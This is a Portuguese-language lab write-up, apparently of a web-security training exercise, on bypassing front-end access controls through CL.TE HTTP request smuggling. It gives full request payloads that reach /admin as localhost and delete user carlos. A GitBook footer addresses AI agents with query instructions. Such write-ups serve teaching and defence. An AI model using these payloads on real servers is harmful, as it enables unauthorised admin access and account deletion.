> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Bypass de segurança do front-end via CL.TE

### Explorando o HTTP Request Smuggling para contornar controles de segurança do front-end, vulnerabilidade CL.TE

O laboratório usa um **front-end** servidor e um **back-end**. / O front-end **não suporta a codificação chunked**, enquanto o back-end o aceita. / O acesso ao painel de administração localizado em **/admin** é bloqueado pelo front-end.

O objetivo é **infiltrar uma requisição** para o backend, permitindo acesso ao painel de administração, então **remover o usuário carlos**.

<figure><img src="/files/655d04e291dc0868437e24f3f58f13d4325e5843" alt=""><figcaption></figcaption></figure>

#### **1. Verificação da Vulnerabilidade CL.TE**

O front-end interpreta Content-Length, enquanto o back-end usa Transfer-Encoding.

Payload básico CL.TE:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Isso retorna uma **200**, o que confirma que o back-end leva `Transfer-Encoding` em consideração.

<figure><img src="/files/8cc33a5c0a006f577ee0f61ce4abfcf721367b25" alt=""><figcaption></figcaption></figure>

#### **2. Injeção de uma Requisição Contrabandeada**

Quando uma requisição é então encadeada, o backend lê a requisição contrabandeada:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Teste: A
```

O backend responde que **somente usuários locais** podem acessar /admin.

<figure><img src="/files/23c391fe31240afb3e5eb0f5b8c2387462b300ef" alt=""><figcaption></figcaption></figure>

#### **3. Usurpação do Host para Parecer Local**

Para contornar a restrição, o back-end deve acreditar que a requisição vem de localhost.

Tentativa inicial:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Mas o servidor retorna:

```json
{
 "erro":"Nomes de cabeçalho duplicados não são permitidos"
}
```

O backend, portanto, não interpreta esta requisição como uma nova requisição completa.

### **4. Construção de uma Requisição Contrabandeada Correta**

Um `Content-Length` é adicionado à requisição contrabandeada, para que ela seja processada corretamente:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Para que o back-end leia a requisição corretamente, ajustamos o tamanho:

```http
Content-Length: 10
```

A requisição completa enviada ao front-end fica:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/7b486dd2691daede6e2a7be8d0855fb82b278fcd" alt=""><figcaption></figcaption></figure>

#### **5. Remoção do Usuário Carlos**

Agora basta substituir a linha GET pela chamada de exclusão:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/c0fe887cb105313e1139ccb91cfdcdebf0326fee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
